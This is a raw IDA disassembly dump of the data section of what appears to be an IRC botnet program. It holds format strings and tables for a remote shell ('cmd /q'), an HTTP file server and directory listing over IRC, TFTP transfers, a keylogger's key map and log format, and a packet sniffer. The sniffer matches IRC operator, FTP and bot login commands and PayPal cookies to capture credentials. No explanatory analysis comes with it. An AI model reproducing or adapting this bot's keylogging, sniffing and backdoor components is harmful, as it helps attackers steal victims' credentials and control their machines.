		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset word_505446	; DATA XREF: ___:00434EA8o
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset word_544F42	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
